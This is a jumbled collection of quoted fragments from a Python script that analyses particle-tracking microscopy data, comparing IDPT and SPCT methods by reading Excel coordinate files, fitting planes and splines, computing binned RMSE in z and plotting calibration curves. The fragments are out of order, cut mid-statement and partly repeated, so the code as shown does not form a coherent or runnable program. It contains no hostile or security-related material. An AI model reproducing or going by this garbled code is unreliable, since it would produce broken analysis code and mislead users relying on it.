"label=r'$dz/dz_{true} = $' + ' {}'.format(np.round(popt[0], 3))) ax.set_xlabel(r'$z_{true} \\: (\\mu m)$') ax.set_xlim([-xylim, xylim])",
"(Z VS. Z_TRUE) FOR EACH DATAFRAME (ON, EDGE, OFF) ss = 1 fig,",
"dict_fit_plane=dictc_fit_plane) plt.savefig(path_figs + '/idpt-calib-coords_fit-plane_raw.png') plt.close() dfict_fit_plane = pd.DataFrame.from_dict(dictc_fit_plane, orient='index', columns=['value']) dfict_fit_plane.to_excel(path_figs + '/idpt-calib-coords_fit-plane_raw.xlsx')",
"2.1 read SPCT off-bpe test coords dfs_off = pd.read_excel('/Users/mackenzie/Desktop/gdpyt-characterization/experiments/11.02.21-BPE_Pressure_Deflection_20X/analyses/results-04.26.22_spct_calib1_test-2-3/coords/test-coords/test_coords_t-calib2_c-calib1.xlsx') dfs_on = pd.read_excel('/Users/mackenzie/Desktop/gdpyt-characterization/experiments/11.02.21-BPE_Pressure_Deflection_20X/analyses/results-04.26.22_spct_stack-id-on-bpe/testcalib2_calcalib1/test_coords_t_20X_ccalib1_tcalib2_c_20X_tcalib2_ccalib1_2022-04-26 20:45:34.334931.xlsx')",
"df_on = dfbx[dfbx['bin'] == bins_x[0]] df_edge = dfbx[dfbx['bin'] == bins_x[1]] df_off = dfbx[dfbx['bin']",
"stats that have already been merged path_calib_pid_defocus = join(path_calib_coords, 'calib_spct_pid_defocus_stats_calib1_xy.xlsx') dfcpid = pd.read_excel(path_calib_pid_defocus)",
"PLOTS # rmse-z: microns fig, ax = plt.subplots() ax.plot(dfrmse.index, dfrmse.rmse_z, '-o') ax.set_xlabel(r'$z_{true} \\:",
"= pd.read_excel(join(path_rmse_compare, '{}_binned-rmse-z_bins=20_no-filters.xlsx'.format(lbls[1]))) df3 = pd.read_excel(join(path_rmse_compare, '{}_binned-rmse-z_bins=20_no-filters.xlsx'.format(lbls[2]))) # 1.3 plot binned rmse-z if",
"CALCULATE RMSE-Z FOR ALL PARTICLES column_to_bin = 'z_true' bins_z = 20 round_z_to_decimal =",
"plt.tight_layout() if save_plots: plt.savefig(path_figs + '/compare-on-edge-off-bpe_rmse-z_microns.png') if show_plots: plt.show() plt.close() # rmse-z (microns)",
"= plt.subplots() ax.errorbar(dfrmsem.z_true, dfrmsem.z, yerr=dfrmsestd.z, fmt='o', ms=3, elinewidth=0.5, capsize=1, color=sciblue, label=r'$\\overline{z} \\pm \\sigma$')",
"labels=xyticks) ax.legend(loc='lower right', markerscale=2.5) plt.tight_layout() if save_plots: plt.savefig(path_figs + '/on-edge-off-bpe_calibration_curve.png') if show_plots: plt.show()",
"= plotting.plot_fitted_plane_and_points(df=dfcpid, dict_fit_plane=dictc_fit_plane) plt.savefig(path_figs + '/calibration-coords_fit-plane_raw.png') plt.close() dfict_fit_plane = pd.DataFrame.from_dict(dictc_fit_plane, orient='index', columns=['value']) dfict_fit_plane.to_excel(path_figs",
"np.round(popt[0], 3), np.round(popt[1], 3)) ) if show_plots: plt.show() plt.close() if rmse_on_off_bpe: # ---",
"plt.close() # ---------------------------------------------------------------------------------------------------------------------- # 6. AVERAGE PARTICLE-TO-PARTICLE SIMILARITY PER-FRAME plot_average_particle_similarity = False if",
"bins=1, min_cm=min_cm, z_range=None, round_to_decimal=round_z_to_decimal, df_ground_truth=None, dropna=True, error_column='error', ) dfrmse_mean.to_excel(path_results + '/mean-rmse-z_bin=1_no-filters.xlsx') # 1.2",
"import lighten_color # A note on SciencePlots colors \"\"\" Blue: #0C5DA5 Green: #00B945",
"dfcpid[dfcpid['x'] > 120] # step 3. fit plane dictc_fit_plane = correct.fit_in_focus_plane(df=dfcpid, param_zf=param_zf, microns_per_pixel=microns_per_pixel)",
"bin, io, plotting, modify, plot_collections from utils.plotting import lighten_color # A note on",
"True param_zf = 'zf_from_peak_int' plot_calib_plane = True plot_test_plane = True kx, ky =",
"No correction is currently performed. The z-coords are well aligned enough in both",
"plot_calib_spline: fig, ax = plotting.scatter_3d_and_spline(dfcpid.x, dfcpid.y, dfcpid[param_zf], bispl_c, cmap='RdBu', grid_resolution=30, view='multi') ax.set_xlabel('x (pixels)')",
"modify.merge_calib_pid_defocus_and_correction_coords(path_calib_coords, method, dfs=[dfcstats, dfcpid]) else: # read SPCT pid defocus stats that have",
"# -------------------------------------------------------------------------------------------------------------- # --- PART A. READ COORDS USED FOR IDPT CALIBRATION (i.e.",
"pd.read_excel('/Users/mackenzie/Desktop/gdpyt-characterization/experiments/11.02.21-BPE_Pressure_Deflection_20X/analyses/results-04.26.22_spct_stack-id-on-bpe/testcalib2_calcalib1/test_coords_t_20X_ccalib1_tcalib2_c_20X_tcalib2_ccalib1_2022-04-26 20:45:34.334931.xlsx') # 2.2 correct z by mean z_f from peak_intensity z_f_mean =",
"z_f_mean = 35.1 dfs_off['z'] = dfs_off['z'] - z_f_mean dfs_off['z_true'] = dfs_off['z_true'] - z_f_mean",
"ax.set_xticks(ticks=xyticks, labels=xyticks) ax.set_ylabel(r'$\\sigma_{z} \\: (\\mu m)$') ax.legend() plt.tight_layout() if save_plots: plt.savefig(path_figs + '/compare-on-edge-off-bpe_rmse-z_microns_cm.png')",
"save_plots: plt.savefig(path_figs + '/compare-idpt-spct_num-particles_and_cm.png') if show_plots: plt.show() plt.close() # ---------------------------------------------------------------------------------------------------------------------- # 6. AVERAGE",
"'z_true_corr': 'z_true'}) # --- rmse_all_particles = False rmse_on_off_bpe = False rmse_compare = False",
"PARTICLES PER Z_TRUE AND CM dftm = dftg.groupby('z_true').mean().reset_index() dfs_offm = dfs_off.groupby('z_true').mean().reset_index() dfs_onm =",
"read dataframe fp = join(base_dir, 'average-particle-similarity/' 'average_similarity_SPCT_11.02.21-BPE_Pressure_Deflection_20X_c-calib1_t-calib2.xlsx') dfsim = pd.read_excel(fp) # plot fig,",
"for IDPT test path_spct_test_coords = join(base_dir, 'results-04.28.22_spct-calib2_test3/coords/calib-coords') path_test_pid_defocus = join(path_spct_test_coords, 'calib_spct_pid_defocus_stats_c-calib2_t-calib3.xlsx') path_test_spct_stats =",
"= join(path_spct_test_coords, 'calib_spct_stats_c-calib2_t-calib3.xlsx') path_test_spct_pop = join(path_spct_test_coords, 'calib_spct_pop_defocus_stats_c-calib2_t-calib3.xlsx') # -------------------------------------------------------------------------------------------------------------- # --- PART A.",
"SETUP - BASE DIRECTORY base_dir = '/Users/mackenzie/Desktop/gdpyt-characterization/experiments/11.02.21-BPE_Pressure_Deflection_20X/analyses/' # ---------------------------------------------------------------------------------------------------------------------- # 2. SETUP -",
"making the z-coords identical for all calibration image sets (by using the same",
"ax.set_xticks(ticks=xyticks, labels=xyticks) ax.set_ylabel(r'$\\sigma_{z} \\: (\\mu m)$') plt.tight_layout() if save_plots: plt.savefig(path_figs + '/rmse-z_microns.png') if",
"# read SPCT calibration coords and merge ['x', 'y'] into pid_defocus_stats dfcpid =",
"False # ------------------------------------------------------------------------------------------------------------------ if use_idpt_zf: \"\"\" NOTE: This correction scheme fits a 2D",
"4 # ----------------------- BASIC RMSE-Z PLOTS # rmse-z: microns fig, ax = plt.subplots()",
"= dfs_off.groupby('z_true').mean().reset_index() dfs_onm = dfs_on.groupby('z_true').mean().reset_index() # filter z_true for pretty plotting dftm =",
"ms=ms-0.75, marker=markers[0], color=sciorange, label=lbls[0]) ax.set_xlabel(r'$z_{true} \\: (\\mu m)$') ax.set_xlim([-xylim, xylim]) ax.set_xticks(ticks=xyticks, labels=xyticks) ax.set_ylabel(r'$\\sigma_{z}",
"2D spline to the in-focus particle positions and uses this to set their",
"grid_resolution=30, view='multi') ax.set_xlabel('x (pixels)') ax.set_ylabel('y (pixels)') ax.set_zlabel(r'$z_{f} \\: (\\mu m)$') plt.suptitle('fit RMSE =",
"pd.DataFrame.from_dict(dictc_fit_plane, orient='index', columns=['value']) dfict_fit_plane.to_excel(path_figs + '/test-coords_fit-plane_raw.xlsx') # FIT SMOOTH 2D SPLINE AND PLOT",
"dfs_on['z_true'] - z_f_mean # --- 3. GROUPBY Z_TRUE dftg = dft.copy() dftg =",
"+ '/test-coords_fit-spline_kx{}_ky{}.png'.format(kx, ky)) plt.close() # ---------------------------------------------------------------------------------------------------------------------- # 4. PLOT TEST COORDS RMSE-Z analyze_test_coords",
"pd.read_excel(path_test_spct_stats) dfcpid = modify.merge_calib_pid_defocus_and_correction_coords(path_calib_coords, method, dfs=[dfcstats, dfcpid]) else: # read SPCT pid defocus",
"2 i_num_rows = len(dft) i_num_pids = len(dft.id.unique()) # --- # --- STEP 0.",
"if save_plots: plt.savefig(path_figs + '/calibration_curve_z+std-errobars_fit_line_a{}_b{}_slope-label-blk.png'.format( np.round(popt[0], 3), np.round(popt[1], 3)) ) if show_plots: plt.show()",
"read SPCT off-bpe test coords dfs_off = pd.read_excel('/Users/mackenzie/Desktop/gdpyt-characterization/experiments/11.02.21-BPE_Pressure_Deflection_20X/analyses/results-04.26.22_spct_calib1_test-2-3/coords/test-coords/test_coords_t-calib2_c-calib1.xlsx') dfs_on = pd.read_excel('/Users/mackenzie/Desktop/gdpyt-characterization/experiments/11.02.21-BPE_Pressure_Deflection_20X/analyses/results-04.26.22_spct_stack-id-on-bpe/testcalib2_calcalib1/test_coords_t_20X_ccalib1_tcalib2_c_20X_tcalib2_ccalib1_2022-04-26 20:45:34.334931.xlsx') #",
"= join(path_spct_test_coords, 'calib_spct_pop_defocus_stats_c-calib2_t-calib3.xlsx') # -------------------------------------------------------------------------------------------------------------- # --- PART A. READ COORDS USED FOR",
"+ '/rmse-z_microns.png') if show_plots: plt.show() plt.close() # ----------------------- Z-MEAN +/- Z-STD PLOTS #",
"'z_true', 'x', 'y', 'cm', 'error']] # step 7. create a z_corr column by",
"= modify.merge_calib_pid_defocus_and_correction_coords(path_calib_coords, method, dfs=[dfcstats, dfcpid]) else: # read SPCT pid defocus stats that",
"= pd.read_excel(path_test_pid_defocus) dfcstats = pd.read_excel(path_test_spct_stats) dfcpid = modify.merge_calib_pid_defocus_and_correction_coords(path_calib_coords, method, dfs=[dfcstats, dfcpid]) else: #",
"rmse_compare = False # format plots xylim = 37.25 xyticks = [-30, -15,",
"ax] = plt.subplots(nrows=2, sharex=True, gridspec_kw={'height_ratios': [1, 2]}) axr.plot(df3.bin, df3.cm, '-', ms=ms-2, marker=markers[2], color=sciblue)",
"Blue: #0C5DA5 Green: #00B945 Red: #FF9500 Orange: #FF2C00 Other Colors: Light Blue: #7BC8F6",
"ky = 2, 2 # step 1. merge [['x', 'y']] into spct pid",
"fig, ax = plt.subplots() ax.plot(dftc.z_true, dftc.z, '-o', ms=ms, color=sciblue, label=r'$IDPT$') ax.plot(dfs_offc.z_true, dfs_offc.z, '-o',",
"#069AF3 Dark Green: #054907 \"\"\" sciblue = '#0C5DA5' scigreen = '#00B945' scired =",
"DATAFRAME INTO (1) OFF BPE and (2) OFF BPE. column_to_bin = 'x' bins_x",
"'-', ms=ms-0.75, marker=markers[1], color=scired, label=lbls[1]) ax.plot(df1.bin, df1.rmse_z, '-', ms=ms-0.75, marker=markers[0], color=sciorange, label=lbls[0]) ax.set_xlabel(r'$z_{true}",
"pid_defocus_stats dfcpid = pd.read_excel(path_test_pid_defocus) dfcstats = pd.read_excel(path_test_spct_stats) dfcpid = modify.merge_calib_pid_defocus_and_correction_coords(path_calib_coords, method, dfs=[dfcstats, dfcpid])",
"outliers # 2.1 get z_in-focus mean + standard deviation zf_c_mean = dfcpid[param_zf].mean() zf_c_std",
"DIRECTORY base_dir = '/Users/mackenzie/Desktop/gdpyt-characterization/experiments/11.02.21-BPE_Pressure_Deflection_20X/analyses/' # ---------------------------------------------------------------------------------------------------------------------- # 2. SETUP - IDPT path_idpt =",
"> -zlim) & (dfs_offm['z_true'] < zlim)] dfs_onm = dfs_onm[(dfs_onm['z_true'] > -zlim) & (dfs_onm['z_true']",
"1. read binned rmse-z dataframes from Excel path_rmse_compare = join(path_results, 'on-edge-off-bpe') df1 =",
"if rmse_all_particles: # --- STEP 1. CALCULATE RMSE-Z FOR ALL PARTICLES column_to_bin =",
"zf_c_mean = dfcpid[param_zf].mean() zf_c_std = dfcpid[param_zf].std() # 2.2 filter calibration coords dfcpid =",
"compare_idpt_spct = False save_plots = False show_plots = False if compare_idpt_spct: # ---",
"format plots xylim = 37.25 xyticks = [-30, -15, 0, 15, 30] lbls",
"columns in dft dft = dft[['frame', 'id', 'z', 'z_true', 'x', 'y', 'cm', 'error']]",
"microns fig, ax = plt.subplots() ax.plot(dfrmse.index, dfrmse.rmse_z, '-o') ax.set_xlabel(r'$z_{true} \\: (\\mu m)$') ax.set_xlim([-xylim,",
"dfcpid = dfcpid[dfcpid['x'] > 120] # step 3. fit plane dictc_fit_plane = correct.fit_in_focus_plane(df=dfcpid,",
"ax.set_ylabel('y (pixels)') ax.set_zlabel(r'$z_{f} \\: (\\mu m)$') plt.suptitle('fit RMSE = {}'.format(np.round(rmse_c, 3))) plt.savefig(path_figs +",
"calibration image sets (by using the same beginning and ending tick mark on",
"dropna=True, error_column='error', ) dfrmse_mean.to_excel(path_results + '/mean-rmse-z_bin=1_no-filters.xlsx') # 1.2 binned rmse-z dfrmse = bin.bin_local_rmse_z(dft,",
"15, 30] ms = 3 # FIGURE 1. PLOT NUMBER OF PARTICLES PER",
"PLOT NUMBER OF PARTICLES PER Z_TRUE fig, ax = plt.subplots() ax.plot(dftc.z_true, dftc.z, '-o',",
"pretty plotting dftm = dftm[(dftm['z_true'] > -zlim) & (dftm['z_true'] < zlim)] dfs_offm =",
"- 1, color=sciblue) axr.plot(dfs_offm.z_true, dfs_offm.cm, '-o', ms=ms - 1, color=lighten_color(scigreen, 1.0)) axr.plot(dfs_onm.z_true, dfs_onm.cm,",
"& (dfs_offm['z_true'] < zlim)] dfs_onm = dfs_onm[(dfs_onm['z_true'] > -zlim) & (dfs_onm['z_true'] < zlim)]",
"correct.fit_in_focus_plane(df=dfcpid, param_zf=param_zf, microns_per_pixel=microns_per_pixel) popt_c = dictc_fit_plane['popt_pixels'] if plot_calib_plane: fig = plotting.plot_fitted_plane_and_points(df=dfcpid, dict_fit_plane=dictc_fit_plane) plt.savefig(path_figs",
"= False if compare_idpt_spct: # --- 1. IDPT # read IDPT test coords",
"coords dft = io.read_test_coords(path_test_coords) # test coords stats mag_eff = 20.0 area_pixels =",
"xylim]) ax.set_xticks(xyticks) ax.set_ylabel(r'$S (p_{i}, p_{N})$') ax.set_ylim([0.49, 1.01]) plt.tight_layout() if save_plots: plt.savefig(path_figs + '/average-particle-to-particle-similarity.png')",
"correct.correct_z_by_spline(dft, bispl=bispl_c, param_z='z') dft['z_true_corr'] = dft['z_true'] - dft['z_cal_surf'] # step 8. export corrected",
"= pd.read_excel(path_test_spct_stats) dfcpid = modify.merge_calib_pid_defocus_and_correction_coords(path_calib_coords, method, dfs=[dfcstats, dfcpid]) else: # read SPCT pid",
"labels=xyticks) ax.legend(loc='lower right', handletextpad=0.25, borderaxespad=0.3) plt.tight_layout() if save_plots: plt.savefig(path_figs + '/{}_calibration_curve_z+std-errobars_fit_line_a{}_b{}_slope-label-blk.png'.format( lbl, np.round(popt[0],",
"(microns) + c_m darken_clr = 1.0 alpha_clr = 1.0 fig, [axr, ax] =",
"= dfs_off['z'] - z_f_mean dfs_off['z_true'] = dfs_off['z_true'] - z_f_mean dfs_on['z'] = dfs_on['z'] -",
"modify, plot_collections from utils.plotting import lighten_color # A note on SciencePlots colors \"\"\"",
"'zf_from_peak_int' plot_calib_plane = False plot_calib_spline = False kx, ky = 2, 2 #",
"'-', ms=ms-0.75, marker=markers[2], color=sciblue, label=lbls[2]) ax.plot(df2.bin, df2.rmse_z, '-', ms=ms-0.75, marker=markers[1], color=scired, label=lbls[1]) ax.plot(df1.bin,",
"analyze, and plot functions # imports import os from os.path import join from",
"axr.plot(df2.bin, df2.cm, '-', ms=ms-2, marker=markers[1], color=scired) axr.plot(df1.bin, df1.cm, '-', ms=ms-2, marker=markers[0], color=sciorange) axr.set_ylabel(r'$c_{m}$')",
"io.read_test_coords(path_test_coords) # test coords stats mag_eff = 20.0 area_pixels = 512 ** 2",
"plt # imports import numpy as np import pandas as pd from scipy.optimize",
"< zf_c_mean + zf_c_std / 2)] # step 3. fit plane dictc_fit_plane =",
"plt.show() plt.close() if rmse_compare: # 1. read binned rmse-z dataframes from Excel path_rmse_compare",
"if compare_idpt_spct: # --- 1. IDPT # read IDPT test coords dft =",
"position. \"\"\" param_zf = 'zf_from_peak_int' plot_calib_plane = False plot_calib_spline = False kx, ky",
"*popt), linestyle='--', linewidth=1.5, color='black', alpha=0.25, label=r'$dz/dz_{true} = $' + ' {}'.format(np.round(popt[0], 3))) ax.set_xlabel(r'$z_{true}",
"& (dfs_onc['z_true'] < zlim)] # --- # --- plotting # format plots xylim",
"dfs_offm = dfs_offm[(dfs_offm['z_true'] > -zlim) & (dfs_offm['z_true'] < zlim)] dfs_onm = dfs_onm[(dfs_onm['z_true'] >",
"test coords dft = io.read_test_coords(path_test_coords) # test coords stats mag_eff = 20.0 area_pixels",
"in zip(lbls, [df_on, df_edge, df_off]): # --- STEP 1. CALCULATE RMSE-Z FOR ALL",
"dict_fit_plane=dictc_fit_plane) plt.savefig(path_figs + '/calibration-coords_fit-plane_raw.png') plt.close() dfict_fit_plane = pd.DataFrame.from_dict(dictc_fit_plane, orient='index', columns=['value']) dfict_fit_plane.to_excel(path_figs + '/calibration-coords_fit-plane_raw.xlsx')",
"dfcpid = dfcpid[(dfcpid[param_zf] > 34) & (dfcpid[param_zf] < zf_c_mean + zf_c_std / 2)]",
"ax.plot(df3.bin, df3.rmse_z, '-', ms=ms-0.75, marker=markers[2], color=sciblue, label=lbls[2]) ax.plot(df2.bin, df2.rmse_z, '-', ms=ms-0.75, marker=markers[1], color=scired,",
"Red: #FF9500 Orange: #FF2C00 Other Colors: Light Blue: #7BC8F6 Paler Blue: #0343DF Azure:",
"dfs_on.groupby('z_true').count().reset_index() # filter z_true for pretty plotting zlim = 35 dftc = dftc[(dftc['z_true']",
"1.01]) axr.set_yticks([0.8, 0.9, 1.0]) ax.plot(dftc.z_true, dftc.z, '-o', ms=ms, color=sciblue, label=r'$IDPT$') ax.plot(dfs_offc.z_true, dfs_offc.z, '-o',",
"NOTE: No correction is currently performed. The z-coords are well aligned enough in",
"merged path_calib_pid_defocus = join(path_calib_coords, 'calib_spct_pid_defocus_stats_calib1_xy.xlsx') dfcpid = pd.read_excel(path_calib_pid_defocus) # step 2. remove outliers",
"\\: (\\mu m)$') ax.set_xlim([-xylim, xylim]) ax.set_xticks(xyticks) ax.set_ylabel(r'$N_{p} \\: (\\#)$') ax.set_ylim([0, 200]) ax.legend() plt.tight_layout()",
"join(path_spct_calib_coords, 'calib_spct_pop_defocus_stats_c-calib1_t-calib2.xlsx') # SPCT analysis of images used for IDPT test path_spct_test_coords =",
"line popt, pcov = curve_fit(functions.line, dfrmse.z_true, dfrmse.z) z_fit = np.linspace(dfrmse.z_true.min(), dfrmse.z_true.max()) rmse_fit_line =",
"# imports import numpy as np import pandas as pd from scipy.optimize import",
"of images used for IDPT test path_spct_test_coords = join(base_dir, 'results-04.28.22_spct-calib2_test3/coords/calib-coords') path_test_pid_defocus = join(path_spct_test_coords,",
"xylim]) ax.set_xticks(ticks=xyticks, labels=xyticks) ax.set_ylabel(r'$z \\: (\\mu m)$') ax.set_ylim([-xylim, xylim]) ax.set_yticks(ticks=xyticks, labels=xyticks) ax.legend(loc='lower right',",
"plt.show() plt.close() # --- STEP 2. FOR EACH DATAFRAME (ON, EDGE, OFF), COMPUTE",
"elif use_spct_zf: \"\"\" NOTE: No correction is currently performed. The z-coords are well",
"labels=xyticks) ax.set_ylabel(r'$\\sigma_{z} \\: (\\mu m)$') ax.legend() plt.tight_layout() if save_plots: plt.savefig(path_figs + '/compare-on-edge-off-bpe_rmse-z_microns_cm.png') if",
"ax.plot(dfsim.z_corr, dfsim.sim, '-o', ms=ms) ax.set_xlabel(r'$z \\: (\\mu m)$') ax.set_xlim([-xylim, xylim]) ax.set_xticks(xyticks) ax.set_ylabel(r'$S (p_{i},",
"df_on.z, s=ss, marker=markers[0], color=sciorange, label=lbls[0]) ax.scatter(df_edge.z_true, df_edge.z, s=ss, marker=markers[1], color=scired, label=lbls[1]) ax.set_xlabel(r'$z_{true} \\:",
"scipy.optimize import curve_fit import filter import analyze from correction import correct from utils",
"save_plots or show_plots: # close all figs plt.close('all') # ----------------------- BASIC RMSE-Z PLOTS",
"import analyze from correction import correct from utils import fit, functions, bin, io,",
"ms=ms, color=lighten_color(scigreen, 1.2), label=r'$SPCT_{High}$') ax.set_xlabel(r'$z \\: (\\mu m)$') ax.set_xlim([-xylim, xylim]) ax.set_xticks(xyticks) ax.set_ylabel(r'$N_{p} \\:",
"= join(path_results, 'on-edge-off-bpe') df1 = pd.read_excel(join(path_rmse_compare, '{}_binned-rmse-z_bins=20_no-filters.xlsx'.format(lbls[0]))) df2 = pd.read_excel(join(path_rmse_compare, '{}_binned-rmse-z_bins=20_no-filters.xlsx'.format(lbls[1]))) df3 =",
"plt.savefig(path_figs + '/on-edge-off-bpe_calibration_curve.png') if show_plots: plt.show() plt.close() # --- STEP 2. FOR EACH",
"TEST COORDS RMSE-Z analyze_test_coords = False save_plots = False show_plots = False if",
"1. read calibration coords dfc, dfcpid, dfcpop, dfcstats = io.read_calib_coords(path_calib_coords, method) # step",
"> -zlim) & (dfs_onm['z_true'] < zlim)] # plot fig, [axr, ax] = plt.subplots(nrows=2,",
"= len(dft.id.unique()) # --- # --- STEP 0. drop and rename columns for",
"# --- plotting # format plots xylim = 37.25 xyticks = [-30, -15,",
"= pd.read_excel(fp) # plot fig, ax = plt.subplots() ax.plot(dfsim.z_corr, dfsim.sim, '-o', ms=ms) ax.set_xlabel(r'$z",
"label=r'$SPCT_{High}$') ax.set_xlabel(r'$z \\: (\\mu m)$') ax.set_xlim([-xylim, xylim]) ax.set_xticks(xyticks) ax.set_ylabel(r'$N_{p} \\: (\\#)$') ax.set_ylim([0, 185])",
"bins_x = [145, 175, 205] round_x_to_decimal = 0 dfbx = bin.bin_by_list(dft, column_to_bin=column_to_bin, bins=bins_x,",
"color=sciblue, label=lbls[2]) ax.scatter(df_on.z_true, df_on.z, s=ss, marker=markers[0], color=sciorange, label=lbls[0]) ax.scatter(df_edge.z_true, df_edge.z, s=ss, marker=markers[1], color=scired,",
"# ---------------------------------------------------------------------------------------------------------------------- # 4. PLOT TEST COORDS RMSE-Z analyze_test_coords = False save_plots =",
"size_x_inches, size_y_inches = fig.get_size_inches() plt.close(fig) # ---------------------------------------------------------------------------------------------------------------------- # 1. SETUP - BASE DIRECTORY",
"if show_plots: plt.show() plt.close() # rmse-z (microns) + c_m darken_clr = 1.0 alpha_clr",
"bin.bin_local_rmse_z(dft, column_to_bin=column_to_bin, bins=bins_z, min_cm=min_cm, z_range=None, round_to_decimal=round_z_to_decimal, df_ground_truth=None, dropna=True, error_column='error', ) dfrmse.to_excel(path_results + '/binned-rmse-z_bins={}_no-filters.xlsx'.format(bins_z))",
"ms=ms-2, marker=markers[2], color=sciblue) axr.plot(df2.bin, df2.cm, '-', ms=ms-2, marker=markers[1], color=scired) axr.plot(df1.bin, df1.cm, '-', ms=ms-2,",
"dfs_offc = dfs_off.groupby('z_true').count().reset_index() dfs_onc = dfs_on.groupby('z_true').count().reset_index() # filter z_true for pretty plotting zlim",
"+ '/calibration-coords_fit-plane_raw.png') plt.close() dfict_fit_plane = pd.DataFrame.from_dict(dictc_fit_plane, orient='index', columns=['value']) dfict_fit_plane.to_excel(path_figs + '/calibration-coords_fit-plane_raw.xlsx') # FIT",
"4. FIT SMOOTH 2D SPLINE AND PLOT RAW POINTS + FITTED SURFACE (NO",
"spline to the in-focus particle positions and uses this to set their z_f",
"ax.set_xticks(ticks=xyticks, labels=xyticks) ax.set_ylabel(r'$z \\: (\\mu m)$') ax.set_ylim([-xylim, xylim]) ax.set_yticks(ticks=xyticks, labels=xyticks) ax.legend(loc='lower right', handletextpad=0.25,",
"dfs_offc.z, '-o', ms=ms, color=lighten_color(scigreen, 1.0), label=r'$SPCT_{Low}$') ax.plot(dfs_onc.z_true, dfs_onc.z, '-o', ms=ms, color=lighten_color(scigreen, 1.2), label=r'$SPCT_{High}$')",
"dftm[(dftm['z_true'] > -zlim) & (dftm['z_true'] < zlim)] dfs_offm = dfs_offm[(dfs_offm['z_true'] > -zlim) &",
"if plot_test_plane: fig = plotting.plot_fitted_plane_and_points(df=dfcpid, dict_fit_plane=dictc_fit_plane) plt.savefig(path_figs + '/test-coords_fit-plane_raw.png') plt.close() dfict_fit_plane = pd.DataFrame.from_dict(dictc_fit_plane,",
"dft = dft.drop(columns=['z', 'z_true']) dft = dft.rename(columns={'z_corr': 'z', 'z_true_corr': 'z_true'}) # --- 2.",
"round_x_to_decimal = 0 dfbx = bin.bin_by_list(dft, column_to_bin=column_to_bin, bins=bins_x, round_to_decimal=round_x_to_decimal, ) df_on = dfbx[dfbx['bin']",
"label=r'$SPCT_{High}$') ax.set_xlabel(r'$z \\: (\\mu m)$') ax.set_xlim([-xylim, xylim]) ax.set_xticks(xyticks) ax.set_ylabel(r'$N_{p} \\: (\\#)$') ax.set_ylim([0, 200])",
"if save_plots or show_plots: # close all figs plt.close('all') # ----------------------- BASIC RMSE-Z",
"= dfcpid[(dfcpid[param_zf] > 34) & (dfcpid[param_zf] < zf_c_mean + zf_c_std / 2)] dfcpid",
"/ 2)] dfcpid = dfcpid[dfcpid['x'] > 120] # step 3. fit plane dictc_fit_plane",
"fig, [axr, ax] = plt.subplots(nrows=2, sharex=True, gridspec_kw={'height_ratios': [1, 2]}) axr.plot(df3.bin, df3.cm, '-', ms=ms-2,",
"z_f_mean dfs_off['z_true'] = dfs_off['z_true'] - z_f_mean dfs_on['z'] = dfs_on['z'] - z_f_mean dfs_on['z_true'] =",
"[df_on, df_edge, df_off]): # --- STEP 1. CALCULATE RMSE-Z FOR ALL PARTICLES column_to_bin",
"PLOTS # fit line popt, pcov = curve_fit(functions.line, dfrmse.z_true, dfrmse.z) z_fit = np.linspace(dfrmse.z_true.min(),",
"fit plane dictc_fit_plane = correct.fit_in_focus_plane(df=dfcpid, param_zf=param_zf, microns_per_pixel=microns_per_pixel) popt_c = dictc_fit_plane['popt_pixels'] if plot_test_plane: fig",
"path_spct_test_coords = join(base_dir, 'results-04.28.22_spct-calib2_test3/coords/calib-coords') path_test_pid_defocus = join(path_spct_test_coords, 'calib_spct_pid_defocus_stats_c-calib2_t-calib3.xlsx') path_test_spct_stats = join(path_spct_test_coords, 'calib_spct_stats_c-calib2_t-calib3.xlsx') path_test_spct_pop",
"2.1 get z_in-focus mean + standard deviation zf_c_mean = dfcpid[param_zf].mean() zf_c_std = dfcpid[param_zf].std()",
"#054907 \"\"\" sciblue = '#0C5DA5' scigreen = '#00B945' scired = '#FF9500' sciorange =",
"column_to_bin=column_to_bin, bins=1, min_cm=min_cm, z_range=None, round_to_decimal=round_z_to_decimal, df_ground_truth=None, dropna=True, error_column='error', ) dfrmse_mean.to_excel(path_results + '/mean-rmse-z_bin=1_no-filters.xlsx') #",
"IDPT test coords dft = io.read_test_coords(path_test_coords) # test coords stats mag_eff = 20.0",
"= 3 # read dataframe fp = join(base_dir, 'average-particle-similarity/' 'average_similarity_SPCT_11.02.21-BPE_Pressure_Deflection_20X_c-calib1_t-calib2.xlsx') dfsim = pd.read_excel(fp)",
"(\\mu m)$') plt.tight_layout() if save_plots: plt.savefig(path_figs + '/{}_rmse-z_microns.png'.format(lbl)) if show_plots: plt.show() plt.close() #",
"1, color=sciblue) axr.plot(dfs_offm.z_true, dfs_offm.cm, '-o', ms=ms - 1, color=lighten_color(scigreen, 1.0)) axr.plot(dfs_onm.z_true, dfs_onm.cm, '-o',",
"the calibration images were acquired with the intention of making the z-coords identical",
"34) & (dfcpid[param_zf] < zf_c_mean + zf_c_std / 2)] dfcpid = dfcpid[dfcpid['x'] >",
"OFF BPE. column_to_bin = 'x' bins_x = [145, 175, 205] round_x_to_decimal = 0",
"label=r'$\\overline{z} \\pm \\sigma$') # ax.plot(z_fit, functions.line(z_fit, *popt), linestyle='--', linewidth=1.5, color='black', alpha=0.25, label=r'$dz/dz_{true} =",
"pd.DataFrame.from_dict(dictc_fit_plane, orient='index', columns=['value']) dfict_fit_plane.to_excel(path_figs + '/calibration-coords_fit-plane_raw.xlsx') # FIT SMOOTH 2D SPLINE AND PLOT",
"ax.plot(df1.bin, df1.rmse_z, '-', ms=ms-0.75, marker=markers[0], color=sciorange, label=lbls[0]) ax.set_xlabel(r'$z_{true} \\: (\\mu m)$') ax.set_xlim([-xylim, xylim])",
"# --- # --- STEP 0. drop and rename columns for simplicity dft",
"groupby 'bin' rmse-z mean + std dfrmsem, dfrmsestd = bin.bin_generic(dft, column_to_bin='bin', column_to_count='id', bins=bins_z,",
"marker=markers[1], color=scired, label=lbls[1]) ax.set_xlabel(r'$z_{true} \\: (\\mu m)$') ax.set_xlim([-xylim, xylim]) ax.set_xticks(ticks=xyticks, labels=xyticks) ax.set_ylabel(r'$z \\:",
"dict_fit_plane=dictc_fit_plane) plt.savefig(path_figs + '/test-coords_fit-plane_raw.png') plt.close() dfict_fit_plane = pd.DataFrame.from_dict(dictc_fit_plane, orient='index', columns=['value']) dfict_fit_plane.to_excel(path_figs + '/test-coords_fit-plane_raw.xlsx')",
"if save_plots: plt.savefig(path_figs + '/compare-on-edge-off-bpe_rmse-z_microns.png') if show_plots: plt.show() plt.close() # rmse-z (microns) +",
